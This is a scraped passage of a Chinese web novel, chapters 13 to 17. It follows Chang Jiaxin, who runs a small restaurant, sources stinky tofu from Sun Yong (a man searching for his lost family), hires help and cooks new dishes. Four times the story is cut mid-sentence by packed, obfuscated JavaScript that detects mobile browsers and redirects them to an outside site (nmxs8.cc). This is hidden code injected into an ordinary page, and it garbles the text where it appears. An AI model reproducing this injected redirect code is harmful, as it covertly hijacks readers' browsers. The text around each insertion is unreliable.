小牛原本正吮吸着苋菜梗，此时乌溜溜的眼珠转得很还快，立刻响应，同样夹了一块肉放在牛大娘碗里：“娘，你也辛苦了！吃肉！你明天砍杆子肯定又要腰疼，到时候我给你捶腰！” 一旁大牛抬头憨笑着，他那焦麦色的面庞还留着未褪的稚气，倒是承担起家里大家长的责任，顺势夹过肉放在弟弟碗里：“小牛还捉了好几只麻雀，烤得好吃，厉害。” “嘿嘿，我厉害吧，这是大明他爹教的，他都还没学会，我一看就会！”小牛骄傲抬起头，“就是今年捉第一次，明年肯定更多。” 不知道是不是秋老虎的天气，这饭碗里腾起的热气，牛大娘总感觉熏得人眼眶发胀，只是她刚想说什么，隐隐约约就听到了铜锣声！ “咚咚咚！” 听着让人心慌，就在常嘉欣以为又要惊心动魄时，她的体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324917|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 验时间结束了。 “你好。” “我是本次臭豆腐蒸霉苋菜梗的指导老师......” 菜谱中的臭豆腐蒸霉苋菜梗配料更丰富些，有红辣椒点缀，臭豆腐叠成花瓣，淋上一勺香油...... 有了基础打底，她蒸出SSS的臭豆腐蒸霉苋菜梗很快。 退出虚拟空间，时间还是五点，常嘉欣躺在床上，有些恍然，她所体验的视角，是不是曾经真实存在的一家人？ 铜锣声后发生了什么？孙勇的愿望是不是和牛大娘他们有关？大牛臭豆腐，孙勇是大牛？ 带着这些疑问，她今天肯定要走一趟隔壁北江市。 总之，这个随机任务，她不能向之前那样随意！ 这一想，瞌睡就全跑光。 既然睡不着，常嘉欣所幸开始复盘这周的情况，看下周店里要做点什么变动。 六天时间，店里的生意算趋于稳定，自从开始送鱼丸后，从11点后店里断断续续到12点半都能有客人，营业额稳定在60左右，这其中大头还是鱼头，每天莫约可以就卖出去五六个鱼头，这就有一半的收益。 不过，晚上生意还是很差了，当然，昨天周六因为下雨也很一般。 用餐高峰期店其实挺忙的，如果后面中午客流量再高些，或许可以找个小时工，帮忙做些清盘清桌、后厨洗碗的杂活。 这也是考虑到她下周更新菜单后会带来的可能。 她不是无的放矢，SSS评价的菜谱，开发潜力无穷，只是目前店里两道各有各的“缺点”。 鱼头汤是它价格拦住了不少人，即使这样，每天还是能成为营业额大头，鱼丸汤则是赠送分量有限，店里有不少客人还问过能不能单独买鱼丸汤。 下周除了臭豆腐炒饭，可以上几个炒菜，这一周她学了不少新菜品，看看能不能带动晚上的生意以及营收。 还有大牛那边重新开业，那臭豆腐炒饭应该可以上架了，这炒饭或许一开始没那么容易接受，但一旦尝过，绝对是店里的新王牌，相信客人会变得更多！ 再说厨艺，上次厨艺新称号的奖励中，看似只有五个菜谱，其实有隐藏款系列菜谱——炒时蔬。 时蔬，囊括了春夏秋冬四季蔬菜，可并不止一种炒菜，如今韭菜和春笋当市，韭菜炒春笋，可谓脆嫩鲜爽，而这个季节的野菜也繁多，用嫩笋尖炒马兰头，同样正是时候。 同理，时蔬炒鸡杂也是让常嘉欣打开眼界。 除了她吃过的辣椒炒鸡杂，天知道原来韭菜、藕丁、水芹、萝卜、蒜苗等等都可以炒鸡杂，也算是深刻见识到家常菜可搭配的“广度”。 只是考虑如今食材供应的情况，稳定的菜品也就炒时蔬、萝卜丝烧荷包蛋可以上，家烧杂鱼、时蔬炒鸡杂和红烧猪尾巴这三个菜估计要限量，家烧杂鱼处理小鱼要花时间，后两个限制于供应，距离她店最近的菜市场每天才出两三只猪，这新鲜的尾巴量就有了限制，至于鸡杂，这会儿菜市场卖活鸡和整鸡为主，鸡杂虽然比猪尾巴多，但还是要运气好才能凑个十份。 这样想来，在没稳定的顾客群体前，对应食材的供应商也需要探索，所以这更新的菜单安排她要循序渐进。 炒菜还不急，当务之急是推出臭豆腐炒饭，能够尽可能传播开，打出名堂。 常嘉欣有预感，孙勇的心愿完成需要抓紧时间。 14. 第14章 常嘉欣和常薇薇吃完早饭，从家里坐公交出门到北江市，店位置并不偏，但她们还是摸索了大半小时才找到这家重新开业的大牛臭豆腐坊。 豆腐坊门口窄仄异常，，“大牛臭豆腐”有些斑驳的木质招牌挂在侧门口，看起来有些年代，但最显眼的还是招牌旁边米糊的“寻人启事”，从一份报纸裁出来的部分，边缘泛黄的明显，这保存其实还不错，能看清内容。 “......父亲孙大刚与1938年参战后失联，1949年本人孙勇（小名大牛）与母亲（牛翠花）、弟弟（小名小牛，年12）因匪乱于大鞍山附近走散。恳请社会各界热心人士留意，如有知下落者，可与越州北江市清河区风情街道办或风情豆腐坊联系。” 常嘉欣看落款时间，还是1963年，风情豆腐坊应该就是这店被收编后的名字。 孙勇就是大牛，牛翠花，孙小牛......还真是他们。 所以，孙勇的心愿应该就是找到家人。 她记忆里，大鞍山附近山脉其实很多，山川险阻...... 系统布置出任务，是不是说明他的家人们至少还有存活于世的？ 想到这里，常嘉欣还是皱起了眉，大鞍山位于越州和益州交界处，报纸是越州日报，但这些年若是都没消息，很可能他们在其他州，益州或者更外的地方。 扬名外省...... 那还不如改掉薄利多销的炒饭路线，搞个菜私房菜路子赚钱，再试着跨省去益州或者其他州报纸发个寻人启事来得快啊。 不过这也就想想，常嘉欣可不觉得以她现在的实力能搞高档私房菜。 两人走进店，前面有几个客人在等，而孙勇刚从后面端着簸箕出来，稳妥放下，就给客人徒手掂量起一块臭豆腐放在油纸上，嘴角还带着微笑：“你放心，只多不少。” 常嘉欣忍不住打量起来。 白色围兜围着浅蓝色工装，身型中等，脸上褶子很多，按照时间推算，他至少50岁，岁月在他雕刻了不少痕迹，但因为皮肤不算黑，气质到有几分儒雅，不像是卖豆腐，到像是教书先生。 这若不是系统任务提示，她还真看不出这是那个憨厚黝黑的大牛。 感慨之余，常嘉欣就听到她姐在耳边嘀咕：“小欣，这臭豆腐老板就是开业那天哭的男人。” 这是什么缘分啊。 不等常嘉欣多想，就轮到她们了。 “要点什么？今天店里重新开张，买半斤臭豆腐送半斤。”孙勇拿出一张油纸，抬头看常嘉欣有点面生，补充道，“给二毛五就行。” 常嘉欣半开玩笑道：“定一板老板也送一板嘛。” 一般来说一板就是15斤左右。 “送肯定送，只是这臭豆腐只能放几天，太久容易坏。”孙勇提醒道，“你们要是爱吃，可以每天来，我以后每天都张开的。” “我们开饭馆的，隔壁市新围小区旁家‘常菜馆’就是，我叫常嘉欣，这是我姐常薇薇，你应该见过。”常嘉欣解释道，“这次来，是想定期在你这边定臭豆腐，不过前期量可能不稳定，今天暂时先定个一板。” 孙勇这才注意到她旁边的常薇薇，他想起之前在店里的囧样，略带尴尬说道：“我知道呢，很好吃......我叫孙勇，就住在新围小区......臭豆腐都是这儿腌的，店里就我一个人，早上没办法送过去，要是不介意，可以提前打个招呼，我下午这里关店就可以送过去。” “那......”也可以。 臭豆腐隔夜不碍事，胚在冷水中能保存一周，等天热也能存个三天。对比大多食材，臭豆腐并不需要讲究当天，重在黄豆品质，腌制手法以及卤水。 不过她还没来得及应下，一个男声加了进来。 “送什么送，后续量都没定，价格也没谈拢，你就能应下送货上门，就你这样做生意能做什么？” 来人年纪莫约三十，蓝灰色工装整洁板正，眉眼坚毅，气势很足，他说的这几句，虽然语气是冲着孙勇，但是眼神却是犀利打量着常嘉欣她们。 或许常嘉欣看起来年龄不大，也没什么攻击性，让他觉得应当不是来闹腾的，这才开口：“你好，我是店里伙计孙满，我爸他人比较老实，你这边如果前期不稳定，价格就和散客一样，等稳定我们看量再讨论价格，还有送货上门这件事。” “今天我们店里重新开张，活动还是有的，你这定多少就送多少，你看可以不？” “好的。”常嘉欣注意到孙勇脸上复杂的表情，再看看眼前这位孙满，倒是没多问什么，毕竟她们才刚认识，“我今天定一板，近期我们会自己来买。” 和孙勇简单打了照面，还见到他家人，又确定心愿与体验中牛大娘他们相关，常嘉欣已经心里有底不少，自然也不急着深交，她让薇薇姐带着臭豆腐先回去，自己则多跑几个菜市场，看不同市场之间的食材区别，同时还要买些干货调味料，重点是辣椒。 之前那个菜市场辣椒的品种有限，只有很辣的朝天椒和几乎没什么辣味的甜椒，像是二荆条、灯笼椒这些辣椒品种都没有，如今趁着今天休息，常嘉欣要多找几个菜市场。 这上午跑来跑去，收获不小，这个时代食材种类其实很充足，只是不同市场侧重不同，比如有个市场重在卖海货，大龙虾她还吃不起，但蚝油还是可以买，有的市场以买山货为主，她还碰到卖穿山甲的......总之，后续菜品有没有食材可以买以及完全不用担心，该担心食材卖不完或者卖完了怎么办才是。 “你是不知道，那边好几个市场有多丰富，什么牛肉海鲜应有尽有，可惜我们这里过去坐车要一个多小时，这一来回就2小时，还没早班车。今天去也算晚了，不然估计好东西更多，我听老板说越市那边已经有24小时营业的菜市场，要是有空我们再去逛逛。”下午一回来，满载而归的常嘉欣把买到的食材从麻袋里一点点摆出来，不时和常薇薇显摆，“等下我琢磨些酱，下周开始我们可以上新菜了。” 常薇薇问：“下午我可以帮忙做什么？” “不用，今天是你的休息日呀。”常嘉欣早上其实就让她今天休息，可惜薇薇姐听说是要去找供货商，一定要一起去帮忙。 “我......”常薇薇是真想帮忙，她觉得自己不是来干活的，是来享福的，每天吃得超级好，活又很轻松，自然想努力找活。 常嘉欣则想起常薇薇在这里人生地不熟，也没有认识新的朋友，建议道：“姐，要不你去周围转转，打听打听附近有没有找工作的人，我想给店里招个小时工，专门中午帮我们处理食材、洗碗、擦桌什么，工资就一天五毛，包饭现结。” “啊？我.....” “你一个人肯定不可以，就算你可以我也不可以啊。” 常嘉欣赶紧打断她想一人抗下所有活的话，边说边把她推出厨房，“这个人招聘和后续管理就由你来负责，就这样决定了。” 一周时间，常嘉欣自然看得到常薇薇身上的优点。 勤劳或许这时代是最不值得夸奖的地方，常薇薇的学习能力很强，做人又真挚，只要给她适应的机会，相信未来她肯定可以独当一面。 常嘉欣已经想好了，要是未来“家常菜”开大，常薇薇都可以担任店长这一角色，招人这件事能锻炼人，也能打开她的社交活动，现在去着手再适合不过。 当然了，此时的常薇薇自然想不到她还有更艰难的任务等着她，毕竟招人这件事对于现在的她来说已经很棘手了。 常薇薇一走出家门，就很茫然。 招人，要怎么招......？ 她到这才一星期，认识得只有食客啊。 等等，食客。 常薇薇突然想到，她是不熟悉这里的人，可食客可以。 想到这，她就走向小区外面街道，去到旧货铺。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324918|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要说这周最熟的客人，其中就是隔壁隔壁的齐大山，自从开业第二天过来支持之后，齐叔每天都会为了鱼丸汤过来点炒饭，知道店里座位紧，就会端到他店里。 番茄鱼头豆腐汤倒是也想吃，不过齐叔非常得“持家”，订好每周就点一次的计划，至于齐海月，她就是大忙人，那天吃了鱼头后就没在店待过，听齐叔说店里的生意都是她招揽，是非常厉害的人。 常薇薇探头发现店里并没有客人，只有坐在收音机旁边打着瞌睡的齐大山，她小心翼翼地开口：“齐叔，你现在方便吗？” 怎么有女声！ 齐大山一个激灵看过去，发现不是女儿才忍不住拍拍胸口：“哎呦，薇薇啊，方便，怎么了？需要买点什么？” 常薇薇并不是来花钱的，所以道明来意的时候非常不好意思。 不过齐大山听完很乐呵呵道：“哎呦，这你就问对人了，咱们这一片，齐叔可谓是百事通，你这样，明天先在店里先贴个招聘，写上待遇和薪资，到时候等人过来就可以，现在找工作的人有的是。只要不嫌我嘴碎，到时候可以帮你们看看合不合适。” 像是想到了什么，齐大山拍了拍大腿，然后搬来一个小凳子：“我这有好几个认识的人或许合适，你要不要听听？” 常薇薇顺势坐了下来，感觉被齐大山这么一说，好像这件事变得及其简单：“好，谢谢齐叔，应该不会打扰你生意吧？” “没事，反正这会儿不太会有人。”齐大山利索地开始帮她分析，“我跟你讲，要找帮厨，肯定要挑手脚利落，不会偷奸耍滑的人，你们两个都是女的，找女人比较不容易惹闲话，但是找男的力气大，能震场子，也有优势，你们有想好找男的还是女的？” 常薇薇双腿并拢，双手自然放在膝盖上，原本乖巧地脸上又一次面露尴尬：“齐叔，我也没想好。” “行吧，那我和你说几个，你听听看，他们各有优势，当然也有些问题，也能理解，人无完人嘛。”齐大山看小姑娘面嫩，大手一挥开始他的推荐。 “袁红，今天五十有三，她是我原来的邻居，在隔壁区，做家务一把好手，还一个人养大女儿，可以说再能干不过。不过嘛，她女儿身体有点问题。不是什么传染奇怪的病，就是心智和孩子差不多，长时间一个人待在家里容易出事，袁红姐这才卖掉了机械厂的工作，一直找一些在家做或者零碎的活。” “第二个叫马谦，是个男人，四十五岁，也是我曾经住过那边机械厂的，就是腿脚不利索，但不会影响工作，他之前还是机械厂的车间工，为人很好，可惜就是太好，为救人把脚给伤了。” 齐大山说完这两个，诚恳补充道：“最先说他们两，我也是有私心，和他们都做了好多年邻居，最清楚不过为人。” 这边常薇薇在取经听故事，那边常嘉欣已经处理好所有配料，开始炒制酱料。 豆豉发酵一周刚好可以开始做酱。 用今天从市场刚买到的手工菜籽油爆香豆豉后，再控制油温慢慢加入准备好的配料。 蚝油做为鲜味激发使者，与姜、蒜、花椒粉、八角粉一起在锅里翻炒，紧接着便把花生碎与芝麻搅入其中让豆豉风味更加，这些调料就能营造出立体的口感与香味。 防止炒焦或沾锅，常嘉欣小心控制着火候与铲子，不停搅拌之后，最终形成浓厚的酱香很快就掩盖住菜籽油独有的香味。 虽然在系统训练时闻过太多次，但常嘉欣依旧觉得这香味让人神魂颠倒。 趁机多闻闻，这个时间段的香味最是浓郁，等进入到调味阶段，尤其是加入白酒后，当小火充分融合调味料，这些香味会在酒香散发后会被慢慢收敛，虽然也香，但变得厚重内敛，像是从乡野间自在的山茶花变成园林中精致的盆栽，对常嘉欣来说，少了几分肆意。 炒制完，常嘉欣把这酱料放在一边待冷却装瓶，接下来要做得是她近期最惦念的酱料。 15.第15章 辣，是让人吃过就会念念不忘的存在。 她久居南方，其实最开始口味偏谈偏甜，而且刚开始，常嘉欣还所忌讳辣椒，没办法，在她的一些餐饮经历给到的反馈中表明，辣椒是用来掩盖食材不新鲜的魔法材料。 不过，人嘛，总逃离不了真香定理。后面她工作后，每个月定期都会去一趟川菜馆，才能慰藉那颗心。 没多休息，常嘉欣开始制作辣酱。 这要做辣椒酱，一定要要有丰富层次的辣椒搭配，从小米辣、皱椒到二荆条，从朝天椒再到带着甜的线椒，还要加入来自海边得虾粉提鲜，油要加一点牛油，这是辣酱厚重的底蕴，与刚腌制好的豆豉和黄豆泥炒匀，黄酒与白酒杀菌增香，同时刺激辣椒素挥发。 再轮番加入七八种辛香料、调味料，其中冰糖和花椒就必不可少，但量要把握住，这鲜甜微麻的配角才能让辣酱的味道鲜香纯正，也是辣酱让人上瘾的要素。 这辣椒炒料起来味道就很呛人，不过这些辣椒素还带着那种直逼天灵盖的香气，让人又爱又恨。 慢工出细活，一下午，常嘉欣就只做了一咸鲜一香辣的两大坛酱。 可惜这两个酱还吃不来，要腌制至少一个月才可以，也只有时间才能融合这些天南地北食材配料。 天色已经暗下来，见时间差不多可以开始准备晚饭。 虽然在厨房忙了一下午，可常嘉欣并不觉得厌倦，她都有些迫不及待做今天的晚饭。 “小欣，那个，我想明天请齐叔吃饭，你说怎么样？他今天教我怎么招人，还给我推荐些人。” 常嘉欣刚放好酱坛子准备舀米洗米，就听到常薇薇的声音。 常嘉欣马又舀上一勺米，成年男人的饭量应该小：“当然可以啊，别明天，就今天好了。幸好我还没洗米，就他一个人吗？海月姐吃吗？” 她对齐家父女是有印象的，之前属于点头之交，如今能邀请吃饭，想来和薇薇姐相处得很不错。 “这......是我想感谢。”站在常薇薇角度，她觉得这好像有点占妹妹的便宜。 “怎么算你呢，店还是我开呢，这招人不是给了店里么？”常嘉欣赶紧拜拜手，“今天晚上我要做新菜品呢，刚好还可以请他们过来尝尝，你快去问问海月姐晚上回不回。” 齐家就他们两个人，齐大山过来吃晚饭，那只留齐海月一个人总不太好。 人数不确定，所幸先放下洗米的活，转向处理水盆里的海鲜杂鱼。 原本她计划明天店里卖红烧家烧杂鱼，准备用汪刺鱼、泥鳅和小鲫鱼，算是河鲜版本，但今天去海鲜市场，倒是又多了一种风味。 她特地买了小黄鱼，带鱼，还有鲳鱼，想来海鲜版家烧杂鱼的鲜更为霸道。 给这些小海鱼去鳞挖腮，细致得刮掉肚子上的黑膜，做这个菜得重点其实就是去腥，所以在处理这些鱼的时候一定要仔细。 洗净鱼货放在竹箩中沥干，常嘉欣准备下一个菜的准备，香卤猪尾巴，对比家烧杂鱼和炒鸡杂，香卤猪尾巴要炖得时间更长，所以她第一个菜要先做它。 这猪尾巴去腥也要细致，鸡杂也是，说起来这新品菜单，三个荤菜在去腥上都是重点环节，去腥取得好，味道就不会差。 洗净猪尾巴，再加入葱段姜片料酒煮焯一遍后，再用冷水冲洗，常嘉欣仔细观察一边它上面有没有残余的猪毛，确定干净没，开始热锅冷油。 将猪尾巴煸炒上搪色，这才放水放卤料炖煮。 她今天买回来的调味料很丰富，一部分刚刚做酱已经用了，剩下得就是用来做卤味。 香叶、桂皮、花椒......常嘉欣用手或抓或碾，最后加入酱油盐等调味，从武火转文火，盖上锅盖，开始炖煮这卤味。 期间，她得到齐海月也会来吃的消息，便着手蒸饭，处理鸡杂，切萝卜丝。 厨房不少地方都摊上了她准备好的食材，都等着煤气灶腾出位置。 大半个小时后，再掀开盖，琥珀色的汤汁咕嘟咕嘟冒泡，最明显得自然是已经呈现酱色的猪尾巴半浮，因冷焯过，猪皮颤巍巍裹着油光，但经过时间的考究，已经再软糯不过，至于它内里的肉质链接这尾骨，估计在卤汤中都已经被沁入骨髓。 卤味的妙处便是冷掉后同样香，这香卤猪尾巴完成，常嘉欣准备开始炒菜了。 莫约傍晚6点，五菜一汤就完成。 韭菜炒春笋，萝卜丝烧荷包蛋，芹菜炒鸡杂，家烧杂鱼，香卤猪尾巴，汤是用昨天打出来的鱼丸做的三鲜汤，常嘉欣看着满满一桌子的菜，成就感非常。 大伙一上饭桌，齐大山看到那猪尾巴就懊悔不已：“好家伙！我就应该带上酒！” “那我给你扒拉点菜，你回店去喝酒？”齐海月和常嘉欣招呼完，听到他得话，白眼一翻，不留情面，“脑子呢，我们三姑娘吃饭，你还想喝酒？” 齐海月本来自然是不好意思来吃饭的，不过齐大山意思和两姑娘吃饭确实不太好，她这才答应。 “嘿嘿，这不是菜太......太好了呢。”齐大山是真觉得下酒，但立马笑着打哈哈转移话题，问向常嘉欣，“这些是之后准备店里上的？” “除了这三鲜汤。”常嘉欣点头后，招呼道，“也我没准备，下次齐叔来，我肯定备好酒。来，大家趁热吃，这个鱼冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330786|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腥味可就藏不住了。” 说完，担心他们拘谨，常嘉欣直接将一整条小黄鱼夹起，想递到齐海月饭碗里：“海月姐，你尝尝这小黄鱼，听齐叔说你和他去过不少饭馆，正好给我一些建议。” “谢谢，我们自己来，小欣你别那么客气。”小黄鱼汤汁裹在上面，红烧炖煮后肉质更加松软，若一个不注意可能就要断，所以见状，齐海月赶紧用碗接过。 至于一旁的齐大山已经自觉夹上猪尾巴，富含胶质的猪皮一口咬下去，软糯入味，回味无穷。 有这卤汁沾着，他感觉骨头都能嚼碎吞下。 齐海月本打算讲一讲这一片新经济区，或者说整个南江市有名气的饭馆，可只吃上一口黄鱼肉，嘴巴就根本停不下来，等她嗦搅完小小的黄鱼头，常薇薇也很客气夹过来一个外焦里嫩的荷包蛋...... 接下来，也不用别人来，齐海月自己的筷子就停不下来。 鸡杂里面她最爱鸡胗，猪尾巴美味，也爱卤汁伴着饭，三鲜汤里的鱼丸不用说，她发现肉丸也很好吃！ 最最最奇异得，是她不爱吃的韭菜和不爱吃的春笋炒在一起，为了礼貌，她夹了一块子。 好家伙！ 没有她记忆里笋得涩味，这特么爽口又鲜，不过韭菜独有得气味在咀嚼后还是很明显，可它好吃啊！ 脑海里边吃边聊，宾尽主欢的场面自然是没有，那个在饭桌上随时可以与客户侃侃而谈的齐海月，终究成了埋头苦吃的干饭人。 至于建议，她就没吃过比这更好吃的，最大的建议只能是给她和齐大山，多赚钱，至少要把每天下馆子的钱赚起来！ 常嘉欣根部想不到，工作狂人齐海月因为一顿饭已经恨不得天没亮就去跑业务赚钱了。 招待完齐大山父女，收拾好厨房，常嘉欣从薇薇姐口中知道了招人的大概。 常薇薇第一次接收这种任务，终究有很多不确定：“我觉得齐叔建议的袁姨和马叔两个人应该是不错的，所以，该怎么选？” “那你想选谁？”常嘉欣反问。 “我......要不等明天贴出招募，然后再见见袁姨和马叔这两个人再做决定？”常薇薇思考后说出自己的想法。 “你这不是想好了么。既然这件事全权交给你了，你就要学会自己做决策。”常嘉欣摊手，“后续这个人的工作管理都要你来分配，自然是要找你觉得合适的，我相信你可以的。” “早点休息，明天我们分开去进货。”吃饱喝足，这会儿也没什么娱乐活动，常嘉欣便直接进屋，“晚安～” 空气中还弥漫着若有似无的香味，伴着它，一夜好梦！ 16.第16章 第二天一早，都不需要薇薇姐叫，常嘉欣准点起床，花个十五分钟到市场，点上早餐店的肉包子和豆浆，吃完开始逛。 一进市场菜摊口就有位奶奶，摊位前就几茬韭菜，翠绿浓到都要溢出，根部切割的汁水和泥水夹着，再新鲜不过，常嘉欣都不需要讲价格，直接包圆。 拎着草绳捆绑着的韭菜，常嘉欣继续摸索这边市场。 今天番茄上市更多了，好几个摊都有，芹菜、春笋也是，不过这几个摊子倒是不走包圆路线，她几个摊都挑了一部分。 鱼头汤的番茄可不能太熟，口感太沙棉只合适熬酱，六七分熟才刚好，至于果蒂硬挺这种新鲜的证明自然不能忽略。 芹菜要挑爽口的，太老太嫩都不行，黄叶枯萎就更不行，还要闻味道，除非上硬科技，或者重油重辣，不然鸡杂是不能完全去腥的，总的来说，鸡杂这菜里的时鲜都担任一部分葱姜蒜的任务，自然要求就多了。 春笋就更有讲究，而且更难挑，上手掐肯定最好，不过这太不礼貌，她挑笋的眼力有，除了观察根底光泽，上手摸一摸笋皮也能感知一二，就是这样挑起来会比较慢。 领着隔壁的芹菜、番茄或春笋，在新菜摊继续挑，常嘉欣顶着摊主犀利得眼神，继续挑上一部分。 萝卜和鸡蛋今天倒是不用买，昨天她买了不少，但蔬菜摊她还是全逛完才去肉摊找鸡杂和猪尾巴。 也不需要买的多，毕竟也没得挑，量都不多，但都是新杀的，直接全包。 常嘉欣最后才在李叔看到了不少小河鲜，还有她最爱的汪刺鱼，当即决定最近店里鱼杂就先卖河鲜版。 一日一次的逛菜市场结束，便回店里开始蒸饭、备菜。 常薇薇已经在店里搞了一顿卫生，小黑板上菜单也更新上，同时也把她手写的招聘单粘在旁边。 10点45分，“家常馆”店门口的铁门拉开。 齐大山几乎就是听着声音过来，一眼就看到黑板上的新菜单。 韭菜春笋1元，炒鸡杂2元，香卤猪尾巴3元，萝卜丝烧荷包蛋5元，家烧杂鱼6元。 价格可都不算低，但值得。 不过，他注意到了另一个新菜，臭豆腐炒饭 0.6元/份...... “薇薇？是不是写错了？臭豆腐......炒饭？” “没写错，叔你要不要尝尝？这炒饭比蛋炒饭好吃百倍！” 常微微手里拿着笔和一本小笔记本，这是昨天她买的文具，灵感来自齐叔那边的记账单。 她也是不知不觉发觉，店里收钱找钱都是她在弄，这些钱在她手里可不算少，虽然上周她应该是没算过错，但是记一记总不会出错，这样以后每天、每周、每月都可以给到嘉欣盘算。 “不，不用了......”不知道是不是错觉，齐大山感觉已经在空气中闻到了臭豆腐，他算是荤素不忌，但也不是那么有勇气，“一碗蛋炒饭，再一份鸡杂，等下我来拿。” 今天女儿不在，他准备喝点小酒，他昨晚回去心痒痒到现在，不然也不会那么迫不及待过来。 “好，叔大概等个5分钟就可以过来。” “对了，你们有炒菜了，不卖饭吗？”齐大山走两步又回头，才想起小黑板上菜品多了，可没米饭啊。 “小欣说她蒸得米饭偏潮，合适用来炒饭。”常微微摇头，然后补充，“不过，要吃饭也是可以，但要配合点菜。” “如此啊。”齐大山这才走回店里，他决定了，今天晚上不管海月回不回来，他都要点香卤猪尾巴，到时候可以用卤汤拌饭，昨天在常家碍于面子，他都没这样做，事后相当的后悔。 哎，鱼头啊，你要等我齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337659|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大山赚完钱再来找你。 目送齐大山离开，店里没一会就来了两个客人，是张海荃和卫镇国。 “哎呦！有新菜了！”张海荃兴致勃勃，顺势他很快琢磨起来晚上的安排，“看起都合适下酒菜啊，刚好今天晚上招待下老朋友。” 卫镇国则盯上了臭豆腐炒饭，“也是巧，隔壁大牛臭豆腐重新开张，你们这也上臭豆腐炒饭。” 常薇薇招呼：“卫老知道大牛臭豆腐？我们用的就是他家。” 昨天听说大牛臭豆腐重新开张，卫镇国本来准备下路去买一点回家炸一炸，没想到在这儿就能吃到。 “那给我来一份臭豆腐炒饭。”卫镇国找座位坐了下来，“再来一份番茄鱼头豆腐汤。” 上周吃了一次，他念念不忘。 “再加个韭菜春笋，这当季的蔬菜，小炒肯定很清爽。”张海荃紧跟着坐下，琢磨道，“我就蛋炒饭吧，臭豆腐感觉还是炸着吃。” “那你就不懂了。”卫镇国辩驳道，“炒饭最开始就是民间用剩菜做出来的市井美味，哪有什么特定的选材，臭豆腐是一种有特殊鲜美的食材，以老板的手艺，炒起来肯定不差。” “你这么一说......也有道理。”张海荃莫名后悔，不过很快挑眉，“那我等你点评完，明天或者晚上吃好，反正我近。” 卫镇国要来吃需要从越市来，整整跨一个市区，但他张海荃不用啊，随时能吃到。 “......”卫镇国一时无言。 常微微抿嘴笑着：“一份臭豆腐炒饭，一份腊肉炒饭，加上鱼头汤和韭菜炒春笋，下单？” “去吧去吧。” 等他们上菜时，店里客人也就多了起来。 臭豆腐炒饭的“噱头”还是很足，几乎每个过来的人都嘟囔上一嘴，可实际上点单的人就两个。 17.第17章 一个是老餮卫镇国，还有一个就是孙满。 张海荃他们来得早，菜很快就上齐，臭豆腐炒饭的味道自然能征服卫镇国。 “你应该吃吃这炒饭，比蛋炒饭做得更好，臭豆腐的口感融入到米饭中，腊肉是点金之笔，层次丰富了不少，可以说每一口都让人无限满足。” “行行行，你别说了。”对于张海荃来说其实还是有点折磨，臭豆腐的味与鱼头汤的香气左右攻坚他的鼻翼，这顿饭吃得香，可也没那么香。 所幸店里点臭豆腐炒饭的不多，这臭味没有那么浓郁。 而且，他眼前有韭菜，这种蔬菜的气味也足够霸道。 喜欢韭菜的会喜欢它特有的清香味，但若是不爱吃的，一定也拒绝不了嚼着它与笋带来的春日生机。 张海荃赶紧夹上一口，白嫩的春笋贴着不少翠绿韭菜，一口下去爽口脆嫩，他感觉是吃到清明后最时节的鲜气。 不过，就在他们品尝午间美味的时候，隔壁孙满倒是出了点“问题”。 孙满进来就打量着这个小饭店，一个人坐在角落，情绪并不高。 昨天和常嘉欣照面之后，他又和父亲孙勇聊了些，孙勇开臭豆腐店如果是为找家人，他是真觉得没必要，这些年他父亲除了花钱找人，还遇到过骗子，对于那些未曾谋面的亲人，孙满没有任何期待，但如果是为了赚钱，他还是能接受。 他这些年做得最多的也是豆腐，除了开豆腐店，他还真不知道做什么。 只是卖臭豆腐，他觉得没必要。 他读书的时候，总被同学称呼“臭豆腐家的”，他不希望他的孩子也这样。 票证那么多年过去，爱吃臭豆腐的人似乎少了很多，昨天店里有活动，臭豆腐都没卖完，只有有一些老客人会过来问豆腐有没有。 最终，爷两算是各退一步，孙勇继续开臭豆腐店，但是店里除了臭豆腐，也新增豆腐、豆干这些豆制品，而他也会在店里一起帮忙。 至于今天来家常馆吃饭，也是有几分踌躇。 